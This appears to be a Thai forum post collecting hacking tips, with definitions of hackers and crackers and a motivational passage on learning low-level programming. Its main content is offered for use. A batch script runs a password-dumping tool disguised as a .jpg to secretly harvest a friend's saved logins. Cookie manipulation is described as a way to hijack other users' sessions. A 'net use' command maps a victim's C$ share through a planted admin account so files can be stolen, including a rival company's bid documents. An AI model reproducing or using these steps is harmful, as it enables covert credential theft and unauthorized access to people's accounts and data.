การแกะรอย(FingerPrint)

การที่ผู้บุกรุกจะกระทำการใดๆ กับเป้าหมายนั้น ส่วนใหญ่มักจะต้องมีกระบวนการในการสะสมข้อมูลเกี่ยวกับเป้าหมายนั้นๆ ก่อน จากนั้นจึงจะลงมือบุกรุกเข้าไปยังเป้าหมายที่ต้องการ และถ้าทำได้สำเร็จผู้บุกรุกอาจจะติดตั้งซอฟแวร์บางตัวเพื่อซ่อนร่องรอยหรือติดตั้ง backdoor ไว้ในระบบ เพื่อจะได้เข้ามาใช้งานได้ง่ายๆ ในครั้งต่อไป

ดังนั้นใครอยากได้การแกะรอยเอาไปศึกษาได้เลยครับ

โปรแกรม hack password (พวกการ login)

โปรแกรมนี้ชื่อ IEpass โปรแกรมแกรม hack cookie
บางคนจะไม่ค่อย ออกจากระบบ จะสามารถเอารหัสมาได้ง่ายดาย
โปรแกรม
http://www.uppicweb.com/show.php?id=2186212eafc3a0caad3f7be29207c97a
ถ้ามี cookie ในเครื่องมันจะแสดงออกมา
แต่สมมุติว่าไปบ้านเพื่อนแล้วเปิดโปรแกรมนี้ตอนเพื่อนอยู่ด้วยจะทำไม่ได้จึงมีวิธีที่ทำให้เอารหัสมาได้โดยไม่ผิดสังเกต
วิธีทำ
1.เปิด notepad
2.เพิ่มไปว่า @ echo off
                ren 001.jpg 001.exe
                001.jpg /stext 0001.jpg
                ren 001.exe 001.jpg
                end
3.แล้ว sever ชื่ออะไรก็ได้แต่ต้องลงท้ายด้วย .bat
4.โปรแกรมที่โหลดมาเปลียนชื่อเป็น 001.jpg แล้วเอาสองอันนี้ไปไว้ที่เดียวกัน
วิธีใช้
ไปที่เครื่องเพื่อนแล้วคลิกไฟล์ที่สร้าง ด้วย notepad มันจะใช้เวลา 2-3วิ เราจะได้ไฟล์อีกอันมาชื่อ 0001.jpg (ในนี้จะมีรหัสอยู่)
แล้วกลับบ้านไปเปิดไฟล์ 0001.jpg ด้วย notepad จะได้รหัสมาถ้าไม่มีไรอยู่ในไฟล์แสดงว่าเพื่อนออกจากระบบทุกครั้ง

ข้อมูลจาก ruk-com.in.th

มาเลือกทางเดินกันก่อนครับ

Hacker กับหมวกสองใบที่ต้องเลือก

hackerแฮกเกอร์ความหมายเดิมจะหมายถึงนักโปรแกรมที่มีความสนใจหรือความเชี่ยวชาญอย่างลึกซึ้งในระบบคอมพิวเตอร์ถ้าเป็นนักโปรแกรมทั่วไปก็จะสนใจเพียงแค่ว่าทำโปรแกรมให้เสร็จและใช้งานได้ตามต้องการเท่านั้นแต่พวกแฮกเกอร์จะชอบคิดค้นหาวิธีการแปลกๆใหม่ๆ เพื่อให้โปรแกรมทำงานด้วยประสิทธิภาพสูงสุด หรือชอบแก้ไขปัญหาที่ซับซ้อนยุ่งยาก เป็นโปรแกรมเมอร์ที่หมกมุ่นอยู่กับการปรับปรุงโปรแกรมให้ทำงานได้ดีขึ้น ซึ่งหมายรวมถึงผู้เชี่ยวชาญทางด้านโปรแกรมด้วย

cracker แคร็กเกอร์คือผู้ที่หาทางเจาะเข้าสู่ระบบคอมพิวเตอร์ต่างๆโดยไม่ได้รับอนุญาต อาจจะเพื่อความสนุก หรือเพื่อการโจรกรรมและทำลายข้อมูลเป็นคำที่ใช้แทนคำว่า แฮกเกอร์ เพื่อให้คำว่าแฮกเกอร์ยังคงความหมายเดิมว่าเป็นผู้ที่เชี่ยวชาญด้านโปรแกรม และแก้ปัญหาคอมพิวเตอร์ได้เก่ง

แต่ในปัจจุบันนิยม ใช้คำว่าแฮกเกอร์ในความหมายว่าเป็นผู้ที่พยายาม ทำลายการรักษาความปลอดภัย ในระบบคอมพิวเตอร์และเพื่อป้องกันความสับสนเมื่อผู้อ่านต้องไปอ่านเรื่องราว ของแฮกเกอร์ในบทความเรื่องอื่นๆ ผู้เขียนจึงขอใช้คำว่าแฮกเกอร์ในความหมายดังกล่าวนี้

- แฮกเกอร์หมวกดำ (black hat hacker) /แครกเกอร์(Cracker) จัดว่าเป็นแฮกเกอร์ฝ่ายอธรรม นิยมใช้ความสามารถเฉพาะตัวไปในทางที่ผิด มีเจตนามุ่งร้าย ทำให้เกิดปัญหาในระบบคอมพิวเตอร์เป็นแฮกเกอร์ที่เจาะระบบอย่างผิดกฎหมายและสร้างความเสียหายให้เกิดขึ้นใน ระบบข้อมูลคอมพิวเตอร์ ซึ่งแฮกเกอร์ในกลุ่มนี้เป็นกลุ่มที่สร้างความยุ่งยากให้แก่ผู้ที่ดูแลความ ปลอดภัยของระบบคอมพิวเตอร์เป็นอย่างยิ่ง

ตำนาน Hacker (เผื่อคนม่ะรู้นะคับ)

 8) 8) 8)
Credit
คัมภีร์สยบแฮกเกอร์ (#4)
http://www.pantip.com/tech/internet/topic/IT1062643.html

Cookie Manipulation การทำง่ายๆนะครับ

Cookie Manipulation การปรับเปลี่ยน Cookie เพื่อเข้าระบบของคนอื่น

-ปรับเปลี่ยน/โยกย้าย ข้อมูลที่ส่งทาง Cookie
-ข้อมูลที่มักจะถูกส่งทาง Cookies ส่วนใหญ่ได้แก่
-Session ID
-User ID
-Password

-เปลี่ยน Session ID หรือ User ID ใน Cookie เพื่อเข้าถึงระบบด้วยสิทธิ์ของผู้ใช้อื่น
-เครื่องมือที่ใช้ในการแก้ไข Cookie หาง่ายใน Google ครับ
-Cookie Editor (Add-Ons บนบราวเซอร์ Firefox)
- Acunetix - HTTP Editor
- Acunetix - HTTP Fuzzer

วิธีการทำครับ
Nothing for guest!

 แบ่งปันกันครับขอแค่คำขอบคุณ

ข้อมูลจาก ruk-com.in.th

การขโมยข้อมูล (Pilfering)

หัวข้อนี้ก็ไม่ได้มีอะไรสำคัญอีกเหมือนกัน เพียงแต่ ต้องหัดเป็นคนสังเกตุ และก็ งก นิดๆ เหอๆ "ทำไมผมพูดแบบนี้"
ถ้าคุณนั้นสามารถเข้าไปดูไฟล์ต่างๆจากเครื่องเหยื่อได้แล้ว (MapDrive) คุณสามารถที่จะเห็นไฟล์ข้อมูลต่างๆเช่น ไฟล์งานทั่วๆไป ไฟล์ที่เก็บpassword ไฟล์ข้อมูลของบุคคลอื่นๆ ถ้าใส่ใจกับสิ่งแวดล้อมในไฟล์ข้อมูล คุณอาจได้ประโยชน์มากกว่าที่คิดเสียอีก แต่ก็อย่าลืมเรื่องเวลาด้วยนะ อย่าไปเกาะเครื่องเหยื่อนานจนเกินไป เหยื่อคุณอาจไม่หมูก็ได้ และจะโดนสวนกลับ จนหงายเก๋ง
ลองคิดดูว่าถ้าเป็นบริษัทที่มีการแข่งขันกัน อย่างการประมูลราคางานต่างๆ ถ้าโชคดีเข้าไปดูไฟล์ที่บริษัทคู่แข่งส่งประมูล คิดดูว่าบริษัทผมจะได้เปรียบขนาดไหน เวลายื่นซองประมูลงาน เงินที่ผมประมูลต่างจากบริษัทคู่แข่งแค่ 10 บาท เพียงแค่นี้กลายเป็นว่าบริษัทผมชนะการประมูล คิกๆ เรื่องข้อมูล สมัยนี้ถือว่าสำคัญมากๆ เอาเป็นว่าถ้าใครมีข้อมูลเยอะกว่า แน่นอนกว่า จะได้เปรียบมากกว่า จริงมั้ยครับ แต่ผมมักสนใจกับไฟล์รูปมากกว่าอ่า.... ไม่โหดพอ
 
การ Map Drive
และหลังจากที่คุณได้สร้าง User Admin ในเครื่องเหยื่อได้แล้วที่ชื่อ hacker และมี password เป็น passhack และก่อนหน้านี้คุณได้แสกนเครื่องเหยื่อแล้วว่าเครื่องเหยื่อได้เปิด share ที่ไดร์ฟ C: (ถ้า งง กลับไปอ่านเรื่อง scan ใหม)ให้คุณพิมพ์คำสั่งด้านล่างนี้เพื่อเข้าไป MapDrive C: ของเครื่องเหยื่อ
net use \\ 203.114.234.5 \ C$ passhack /u:hacker

ถึงเพื่อน ๆ ที่อยากเป็น Hacker !!

โลกเราเองเกิดขึ้นมาไม่รู้กี่ร้อยกี่พันล้านปีมาแล้ว.. อันนั้นไกลเกินไป..
แต่ทุก ๆ ช่วงเวลามีการพัฒนาและมีการเปลี่ยนแปลงตลอดเวลา !!
เมื่อเราเกิดมาแล้วเราก็อยากมีส่วนร่วมในการพัฒนาประเทศชาติ !!

การ ที่เพื่อน ๆ ทุกคนอยากเป็น hacker นั้น เป็นเรื่องดี เพราะอย่างน้อยมันมีคำถามในใจว่า สิ่งนั้นมันทำอะไร มันมีหลักการอย่างไร จะทำอย่างไรที่จะใช้งานมันได้ !!

คราวนี้เมื่อพิจารณาแล้ว hacker แท้จริงต้องเป็นผู้ที่มีประสบการณ์ในเชิงคอมพิวเตอร์สูง..
ถ้า เพื่อน ๆ ใช้ Visual Basic โดยไม่เคยเขียน C/C++ เพื่อน ๆ ก็จะไม่มีทางรู้ได้ว่า ฟังก์ชั่นที่พวกเรา Call นั้นเราจะสร้างมันขึ้นมาใช้อย่างไร !!

ถ้าพวกเรารู้จัก C/C++ แต่พวกเราไม่เคยเขียน Assembly พวกเราก็ไม่รู้ว่าภาย CPU มี Instruction Sets อะไรบ้าง ? เราจะเข้าถึงส่วนสำคัญต่าง ๆ ของฮาร์ดแวร์ได้อย่างไร เช่นอ่าน Sector แรกของ DISK ต่าง ๆ เช่น HDD, FDD ได้อย่าไงไร ? // นี่แบบพื้นฐานที่สุดแล้ว //

ถ้าเราไม่รู้ ในแต่ละชั้น มันก็เกิดการพอกพูนสิ่งไม่รู้เกิดขึ้นเรื่อย ๆ !!
ดัง นั้น HACKER จึงมักเป็นผู้รู้อย่างชัดเจนในแต่ละระดับ ว่าสามารถหรือไม่สามารถทำสิ่งนี้ได้ !! เมื่อรู้ว่าไม่สามารถทำสิ่งนี้ ในระดับนี้ ต้องลงไปในระดับที่ลึกเข้าไป.. เช่น เข้าไปสู่ C/C++ แล้วจึงอิมพลิเมนต์อะไรบางอย่างออกมาเพื่อแก้ปัญหา..